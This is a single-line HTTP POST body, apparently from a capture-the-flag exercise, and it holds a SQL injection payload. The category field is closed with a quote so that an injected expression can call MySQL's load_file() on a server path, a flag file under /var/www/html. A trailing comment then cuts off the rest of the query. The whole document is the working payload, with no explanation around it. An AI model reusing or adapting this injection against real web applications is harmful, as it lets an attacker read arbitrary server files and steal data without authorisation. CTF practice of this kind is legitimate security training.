title=test&category=test',content=((select(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")))),/*&content=test